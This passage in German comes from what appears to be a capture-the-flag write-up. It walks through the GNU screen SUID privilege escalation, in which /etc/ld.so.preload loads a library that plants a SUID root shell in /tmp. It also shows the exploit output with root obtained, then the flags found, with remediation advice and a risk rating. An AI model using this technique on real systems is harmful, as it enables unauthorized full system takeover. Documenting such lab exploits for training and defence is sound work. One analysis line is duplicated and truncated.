`/etc/ld.so.preload` zu schreiben. Da `screen` SUID ist, geschieht dies mit Root-Rechten. 3. **Triggering:** * `screen -ls`: Ruft `screen` erneut auf. Da `screen` SUID ist und `/etc/ld.so.preload` nun auf `/tmp/libhax.so` zeigt, wird die Bibliothek `/tmp/libhax.so` vom dynamischen Lader mit Root-Rechten geladen, *bevor* `screen` selbst startet. * Die `dropshell`-Funktion in `libhax.so` wird ausgeführt: `/tmp/rootshell` wird SUID-Root. `/etc/ld.so.preload` wird gelöscht. 4. **Root-Shell starten:** * `/tmp/rootshell`: Das nun SUID-Root gesetzte Programm wird ausgeführt. Es setzt die UIDs/GIDs auf 0 und startet eine `/bin/sh`-Shell.
Bewertung: Der Exploit wurde erfolgreich ausgeführt. Die Compiler-Warnungen sind harmlos. Der Fehler "cannot be preloaded" ist Teil des normalen Ablaufs, da die Datei `/etc/ld.so.preload` erstellt wird, während der `screen -ls`-Prozess schon läuft. Die `id`-Ausgabe bestätigt den erfolgreichen Erhalt einer Root-Shell (`uid=0(root)`).
Empfehlung (Pentester): Root-Zugriff erlangt. Suchen Sie die Root-Flag.
Empfehlung (Admin): **Höchste Priorität:** Aktualisieren Sie die `screen`-Version oder entfernen Sie das SUID-Bit. Überwachen Sie die Integrität von `/etc/ld.so.preload`.
Risikobewertung: Die Ausnutzung einer bekannten lokalen Privilege Escalation Schwachstelle in einem SUID-Binary ermöglichte die vollständige Übernahme des Systems von einem unprivilegierten Benutzer (`doro`) aus. Das Risiko ist **hoch** bis **kritisch**, abhängig von den Berechtigungen des initialen Benutzers.
~ gnu/screenroot ~ [+] First, we create our shell and library... # ... (Compiler-Warnungen) ... [+] Now we create our /etc/ld.so.preload file... [+] Triggering... ' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored. [+] done! No Sockets found in /tmp/screens/S-doro.
uid=0(root) gid=0(root) groups=0(root),1000(doro)
Analyse: Die User-Flag wurde im
Analyse: Die User-Flag wurde im Home-Verzeichnis von `doro` (`/home/doro/user.txt`) gefunden, nachdem die Rechte dieses Benutzers durch Command Injection erlangt wurden. Die Root-Flag wurde im Verzeichnis `/root/root.txt` gefunden, nachdem Root-Rechte durch Ausnutzung der Screen-Schwachstelle erlangt wurden.
Bewertung: Beide Flags wurden erfolgreich extrahiert.